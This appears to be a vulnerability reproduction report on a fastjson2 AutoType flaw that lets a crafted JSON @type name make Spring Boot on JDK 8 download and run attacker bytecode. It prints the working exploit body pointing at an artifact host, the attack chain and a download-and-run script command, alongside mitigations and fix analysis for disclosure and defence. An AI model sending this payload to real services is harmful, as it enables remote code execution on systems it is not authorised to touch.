Skip to content

REPRO-2026-00306: Verified Reproduction

REPRO-2026-00306: fastjson2 AutoType type-resolution flaw may lead to remote code execution

REPRO-2026-00306 is verified against alibaba/fastjson2 · github. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00306.

REPRO-2026-00306 alibaba/fastjson2 · github RCE Jul 27, 2026 .txt
Severity
CRITICAL
Confidence
HIGH
Reproduced in
108m 42s
Tool calls
598
Spend
$25.49
01 · Overview

What Is REPRO-2026-00306?

REPRO-2026-00306 is a critical-severity RCE vulnerability affecting alibaba/fastjson2. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00306).

02 · Severity & CVSS

REPRO-2026-00306 Severity

REPRO-2026-00306 is rated critical severity.

CRITICAL threat level

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

How to Reproduce REPRO-2026-00306

$ pruva-verify REPRO-2026-00306
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00306/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for REPRO-2026-00306

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

HTTP JSON body containing nested @type jar:http:..artifact:8000.probe!.POC

Attack chain
  1. POST /parse
  2. JSON.parseObject(body, Request.class)
  3. ObjectReaderSeeAlso
  4. ObjectReaderProvider.checkAutoType
  5. TypeUtils.loadClass
  6. Spring Boot LaunchedURLClassLoader
How the agent worked 1,068 events · 598 tool calls · 1h 49m
1h 49mDuration
598Tool calls
130Reasoning steps
1,068Events
28Dead-ends
Agent activity over 1h 49m
Policy
1
Support
37
Discovery
12
Repro
357
Judge
107
Variant
318
Coding
231
0:00108:42

Root Cause and Exploit Chain for REPRO-2026-00306

Versions: component: com.alibaba.fastjson2:fastjson2, specifically polymorphic deserialization via ObjectReaderSeeAlso, ObjectReaderProvider.checkAutoType, and TypeUtils.loadClass.

fastjson2 releases 2.0.0 through 2.0.62 permit attacker-controlled @type data to reach the thread context class loader from an otherwise ordinary polymorphic parse, even though the caller does not enable JSONReader.Feature.SupportAutoType. When an application model uses @JSONType(seeAlso=...), fastjson2 constructs an ObjectReaderSeeAlso whose internal feature mask enables AutoType. A subtype-map miss falls through to unrestricted class resolution, and TypeUtils.loadClass forwards the raw type name to the context class loader before assignability checks. In a Spring Boot executable-jar runtime on JDK 8, LaunchedURLClassLoader interprets a crafted jar:http: name, downloads an attacker-authored JAR, defines an attacker-authored subclass, and initializes it. This run independently demonstrated remote bytecode execution twice through a real HTTP-to-parser boundary, with plain-parse, startup SafeMode, and PR-hardening negative controls.

  • Affected component: com.alibaba.fastjson2:fastjson2, specifically polymorphic deserialization via ObjectReaderSeeAlso, ObjectReaderProvider.checkAutoType, and TypeUtils.loadClass.
  • Affected released versions: 2.0.0 through 2.0.62 inclusive. The run exercised all 63 Maven Central artifacts individually; every version produced one remote JAR fetch and initialized the controlled class (bundle/logs/repro/version_sweep.tsv).
  • Tested primary runtime: fastjson2 2.0.62 (7ddfd76e03bd263f4dd3a33dd403bd2387d2c801), Eclipse Temurin JDK 1.8.0_452, Spring Boot loader 2.7.18, org.springframework.boot.loader.LaunchedURLClassLoader, isolated Docker network.
  • Risk: Critical where untrusted JSON reaches a polymorphic model under a compatible URL-resolving context class loader and outbound access is available. An attacker can supply the remote class bytes, make that class extend the application's declared base type, and place arbitrary Java bytecode in its static initializer.
  • Observed consequence: Remote attacker-authored bytecode ran in the target JVM and wrote a unique target-local marker. The proof class intentionally performs only a bounded marker write; the primitive is equivalent to arbitrary JVM code execution.
  • Important preconditions: A parser-reachable polymorphic type (the proof uses @JSONType(seeAlso={Dog.class})), a compatible Spring Boot executable-JAR-style context class loader, JDK 8 for the direct URL-shaped binary-name chain, outbound reachability to the attacker-controlled artifact, and SafeMode disabled. The ordinary parser call does not explicitly enable AutoType.
  • Runtime boundary: A real HTTP request handler passes the attacker body to JSON.parseObject(body, Request.class). The artifact service and target communicate only over a private Docker network.

Impact Parity

  • Disclosed/claimed maximum impact: Remote code execution.
  • Reproduced impact: Remote attacker-authored class fetch, definition, static initialization, and target-local marker write in two fresh target JVMs.
  • Parity: full.
  • Not demonstrated: This bounded proof did not launch an operating-system process, access third-party systems, or test the disclosed all-JDK chain. It proves arbitrary JVM bytecode execution on the tested JDK 8/Spring Boot loader configuration. Modern JDK behavior and alternate loaders remain separate runtime questions.

Root Cause

The vulnerability is a composition of four behaviors:

  1. A normal polymorphic model silently supplies SupportAutoType. ObjectReaderSeeAlso passes JSONReader.Feature.SupportAutoType.mask to its superclass. This behavior is present from the first 2.0.0 release even when the application invokes JSON.parseObject(body, Request.class) with no feature argument.
  2. Unknown subtype names fall through to global AutoType resolution. When the attacker-controlled type does not match a declared seeAlso subtype, the reader asks the provider for an AutoType reader instead of treating the name as unauthorized.
  3. Raw names reach class loading before policy checks. In 2.0.62, ObjectReaderProvider.checkAutoType reaches loadClass(typeName) before the expected-base assignability decision. TypeUtils.loadClass sends the unvalidated string to Thread.currentThread().getContextClassLoader().loadClass(className). The released code does not reject URL-special : or ! characters.
  4. Spring Boot's loader gives the string location semantics. The tested LaunchedURLClassLoader resolves the crafted binary name jar:http:..artifact:8000.probe!.POC as a class in a remotely retrieved JAR. The remote class is attacker-authored to extend the declared Animal base, so assignment succeeds, and static initialization executes in the target JVM.

The application-visible configuration is therefore misleading: fastjson2 documents AutoType as disabled by default, yet the polymorphic reader internally enables it. A plain JSON.parse of the identical body is inert, proving that the polymorphic reader is the enabling boundary.

Hardening boundary
  • Closed PR #7695 commit: 6fc6f9502b68f7cb6057067217ea057d6a58b083
  • Superseding open PR #7703 commit: 5552cad1b132a88e7592f487988649835318a8d3
  • Relevant production code is byte-identical between these commits (bundle/logs/repro/pr7695_vs_pr7703.log).
  • The hardening rejects type names containing : or ! in ObjectReaderProvider, ContextAutoTypeBeforeHandler, and TypeUtils, and adds exact textual verification after allowlist hash matches.
  • The current-run patched negative control applies those exact production classes to 2.0.62. The same request is rejected with autoType is not support, causes zero artifact fetches, and creates no marker (bundle/logs/repro/patch_control_summary.log).
  • Neither commit is an ancestor of the tested main branch, and no released version through 2.0.62 contains the hardening (bundle/logs/repro/source_identity.log). Thus there is no fixed released version in the tested range.

Public fix references:

Reproduction Steps

  1. Run bundle/repro/reproduction_steps.sh from the bundle root:

    chmod +x bundle/repro/reproduction_steps.sh
    bundle/repro/reproduction_steps.sh
    
  2. The script independently builds:

    • a released fastjson2 2.0.62 target on JDK 8;
    • a real Spring Boot 2.7.18 LaunchedURLClassLoader runtime;
    • an HTTP parsing endpoint calling JSON.parseObject(body, Request.class) with no explicit AutoType feature;
    • a private artifact service containing a uniquely marked, attacker-authored subclass whose static initializer writes only a target-local proof file.
  3. It first sends the same body through plain JSON.parse as a negative control. It then sends:

    {"pet":{"@type":"jar:http:..artifact:8000.probe!.POC"}}
    

    through the polymorphic API and requires all of the following before exiting 0:

    • the target HTTP path was reached;
    • the artifact server observed a fetch;
    • the target log recorded remote static initialization;
    • the fresh target-local marker contains the per-run nonce.
  4. It restarts the target with -Dfastjson2.parser.safeMode=true supplied to the actual JVM at startup and repeats the identical request. The control must cause neither a fetch nor a marker.

  5. Optional boundary scripts used in this run:

    • bundle/repro/version_sweep.sh tests every release 2.0.0–2.0.62.
    • bundle/repro/patch_control.sh tests the exact PR #7695/#7703 production hardening against the same input.

Expected successful primary output includes:

RESULT=CONFIRMED
FASTJSON2_ARTIFACT=2.0.62
JVM=8
CLASSLOADER=org.springframework.boot.loader.LaunchedURLClassLoader
EXPLICIT_SUPPORT_AUTOTYPE=false
REMOTE_FETCH_COUNT_AFTER_POSITIVE=1
PLAIN_CONTROL_MARKER=false
SAFEMODE_ACTIVE=true
SAFEMODE_FETCH_DELTA=0
SAFEMODE_MARKER=false

Evidence

Two independent positive runs
  • bundle/logs/repro/run1/proof_summary.log
  • bundle/logs/repro/run1/positive_marker.json
  • bundle/logs/repro/run1/positive_artifact.log
  • bundle/logs/repro/run1/positive_target.log
  • bundle/logs/repro/run1/runtime_info.json
  • bundle/logs/repro/run1/SHA256SUMS
  • bundle/logs/repro/run2/proof_summary.log
  • bundle/logs/repro/run2/positive_marker.json
  • bundle/logs/repro/run2/positive_artifact.log
  • bundle/logs/repro/run2/positive_target.log
  • bundle/logs/repro/run2/runtime_info.json
  • bundle/logs/repro/run2/SHA256SUMS

Run 1 marker:

{"markerPresent":true,"content":"FJ2_REMOTE_BYTECODE_EXECUTED_2186"}

Run 2 marker:

{"markerPresent":true,"content":"FJ2_REMOTE_BYTECODE_EXECUTED_run2"}

Both artifact logs contain exactly one ARTIFACT_FETCH, and both target logs contain REMOTE_BYTECODE_STATIC_INITIALIZER_RAN.

Negative controls
  • Plain parser: bundle/logs/repro/run2/plain_control_response.json returns a normal JSONObject; plain_control_marker.json is false, and no fetch occurs.
  • Startup SafeMode: bundle/logs/repro/run2/safemode_response.json returns JSONException; safemode_marker.json is false, and fetch delta is zero.
  • PR hardening: bundle/logs/repro/patch_control_response.json, patch_control_marker.json, patch_control_artifact.log, and patch_control_summary.log show explicit rejection, zero fetches, and no marker.
Version boundary
  • bundle/logs/repro/version_sweep.tsv: 63 per-version rows, each classified code_execution.
  • bundle/logs/repro/version_sweep_summary.txt: code_execution=63.
  • bundle/logs/repro/version_sweep/jar_sha256s.txt: exact SHA-256 values for all downloaded artifacts.
  • bundle/logs/repro/version_sweep_console.log: sweep exit 0.
Source and runtime identity
  • bundle/logs/repro/source_identity.log
  • bundle/logs/repro/pr7703.patch
  • bundle/logs/repro/pr7695_vs_pr7703.log
  • bundle/logs/repro/patched_jar_sha256.txt
  • Runtime info records fastjson2 artifact 2.0.62, Java 1.8.0_452, LaunchedURLClassLoader, and the SafeMode property.
  • Note: the library's JSON.VERSION constant reports 2.0.61 inside the 2.0.62 artifact; the script separately records the exact Maven artifact version.
Public relationship

The finding is classified as duplicate, not novel. The overall fastjson2 RCE was publicly disclosed by Chaitin and tracked in issue #7702. A public independent lab also documents this exact ObjectReaderSeeAlso/Spring Boot/JDK 8 mechanism:

Recommendations / Next Steps

  1. Immediate mitigation: Start every affected JVM with -Dfastjson2.parser.safeMode=true (or the compatible -Dfastjson.parser.safeMode=true) before fastjson2 classes initialize. This run verified that startup SafeMode blocks both resource fetch and execution. Setting the property after initialization is not equivalent.
  2. Restrict egress: Deny application JVMs unnecessary outbound HTTP/DNS access. This blocks the demonstrated remote-JAR component but should be defense in depth rather than the sole fix.
  3. Do not rely on default AutoType state: Audit all public parsing paths involving @JSONType(seeAlso), Jackson subtype annotations, sealed types, untyped members, or custom AutoType handlers. The demonstrated caller never explicitly enabled SupportAutoType.
  4. Code fix: Reject non-Java binary names before any class-loader call, canonicalize names before policy evaluation, enforce exact textual allowlist matches, and do not allow a declared-subtype miss to fall through into unrestricted global AutoType resolution.
  5. Release guidance: No tested released version through 2.0.62 contains the hardening. Ship and consume an official release containing the final reviewed fix; do not treat the closed PR #7695 branch itself as a supported release.
  6. Regression tests: Exercise the exact production boundary with a real Boot loader and assert no network fetch—not merely a parser exception. Include SafeMode, plain parsing, unknown seeAlso names, allowlist misses, JDK 8, and modern-JDK/loader combinations.
  7. Modern runtime analysis: Independently test JDK 11/17/21 and modern Spring Boot loaders for the reportedly stronger all-JDK chain. This report does not infer those results from the JDK 8 proof.

Additional Notes

  • Idempotency: The primary script completed successfully twice in fresh runtimes with distinct nonces. Run 1 used FJ2_REMOTE_BYTECODE_EXECUTED_2186; run 2 used FJ2_REMOTE_BYTECODE_EXECUTED_run2.
  • Safety: The payload is generated locally for this proof and only writes a unique marker inside the target's temporary filesystem and logs a fixed token. Services run unprivileged, read-only, with dropped capabilities and an internal Docker network.
  • Impact wording: Static initialization of attacker-authored remote bytecode is reported as code execution. No operating-system command was needed to establish that capability.
  • Configuration boundary: Full direct code execution was demonstrated specifically on JDK 8 with Spring Boot 2.7.18's loader. Ordinary classpath parsing and the identical plain-parser input were inert.
  • Hypothesis scope: The highest-priority special-name fat-JAR hypothesis was confirmed. Lower-priority dossier hypotheses were not needed to establish the requested maximum impact and are preserved in the private hypothesis ledger.

REPRO-2026-00306 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:003:23
0:00
session startedgpt-5.6-sol · CVE-2026-FASTJSON2 · REPRO-20
0:06
0:08
web search
0:20
web search
0:22
web search
0:23
web search
0:24
web search
0:28
0:38
0:40
0:41
0:42
0:44
1:01
web search
1:03
web search
1:04
web search
1:05
web search
1:08
3:19
3:19
3:19
3:19
3:19
3:19
3:19
3:19
3:19
3:19
3:19
3:19
3:19
extract_facts
no facts extracted
3:23
3:23
supportdiscovery

Artifacts and Evidence for REPRO-2026-00306

Scripts, logs, diffs, and output captured during the reproduction.

bundle/logs/repro/pr7703.patch7.1 KB
bundle/repro/rca_report.md13.3 KB
bundle/repro/runtime_manifest.json1.0 KB
bundle/logs/coding/run11/proof_summary.log0.5 KB
bundle/logs/coding/run11/unit_tests.log0.7 KB
bundle/logs/coding/run11/attempt_matrix.log0.4 KB
bundle/logs/coding/run11/vulnerable_text_explicit.target.log0.3 KB
bundle/logs/coding/run11/patched_text_polymorphic.target.log1.3 KB
bundle/logs/coding/run11/patched_text_explicit.target.log1.3 KB
bundle/logs/coding/run11/patched_jsonb_explicit.target.log1.2 KB
bundle/logs/coding/run11/patched_blob_identity.txt0.3 KB
bundle/repro/validation_verdict.json0.8 KB
bundle/repro/discovery_manifest.json2.7 KB
bundle/repro/reproduction_steps.sh16.8 KB
bundle/logs/repro/run1/proof_summary.log0.4 KB
bundle/logs/repro/run1/runtime_info.json0.3 KB
bundle/logs/repro/run2/proof_summary.log0.4 KB
bundle/logs/repro/run2/runtime_info.json0.3 KB
bundle/logs/repro/run2/plain_control_response.json0.1 KB
bundle/logs/repro/run2/plain_control_marker.json0.0 KB
bundle/logs/repro/run2/safemode_response.json0.3 KB
bundle/logs/repro/version_sweep.tsv2.4 KB
bundle/logs/repro/version_sweep_summary.txt0.0 KB
bundle/logs/repro/patch_control_summary.log0.1 KB
bundle/logs/repro/patch_control_response.json0.1 KB
bundle/logs/repro/patch_control_marker.json0.0 KB
bundle/logs/repro/source_identity.log0.5 KB
bundle/logs/repro/build.log3.0 KB
bundle/logs/repro/runtime_info.json0.3 KB
bundle/logs/repro/plain_control_response.json0.1 KB
bundle/logs/repro/positive_response.json0.0 KB
bundle/logs/repro/positive_marker.json0.1 KB
bundle/logs/repro/positive_artifact.log0.0 KB
bundle/logs/repro/positive_target.log0.5 KB
bundle/logs/repro/safemode_response.json0.3 KB
bundle/logs/repro/safemode_marker.json0.0 KB
bundle/logs/repro/safemode_artifact.log0.0 KB
bundle/logs/repro/proof_summary.log0.4 KB
bundle/coding/proposed_fix.diff12.0 KB
bundle/coding/verify_fix.sh20.8 KB
bundle/coding/summary_report.md5.8 KB
08 · How to Fix

How to Fix REPRO-2026-00306

Coming soon

Step-by-step mitigation and hardening guidance for REPRO-2026-00306 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: REPRO-2026-00306

Is REPRO-2026-00306 exploitable?

Yes. Pruva independently reproduced REPRO-2026-00306 in alibaba/fastjson2 and verified the exploit fires end-to-end in a sandboxed environment. A runnable proof-of-concept script and the full agent transcript are on this page (reproduction REPRO-2026-00306).

How severe is REPRO-2026-00306?

REPRO-2026-00306 is rated critical severity.

How can I reproduce REPRO-2026-00306?

Pruva provides a verified reproduction script on this page. Download it and run it inside an isolated environment such as a container or virtual machine — never against production. The reproduction was confirmed end-to-end by Pruva's automated agents.

Is the REPRO-2026-00306 reproduction verified?

Yes. Pruva reproduced REPRO-2026-00306 with high confidence in a sandboxed environment, capturing the full agent transcript and artifacts as evidence.
11 · References

References for REPRO-2026-00306

Authoritative sources for REPRO-2026-00306 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.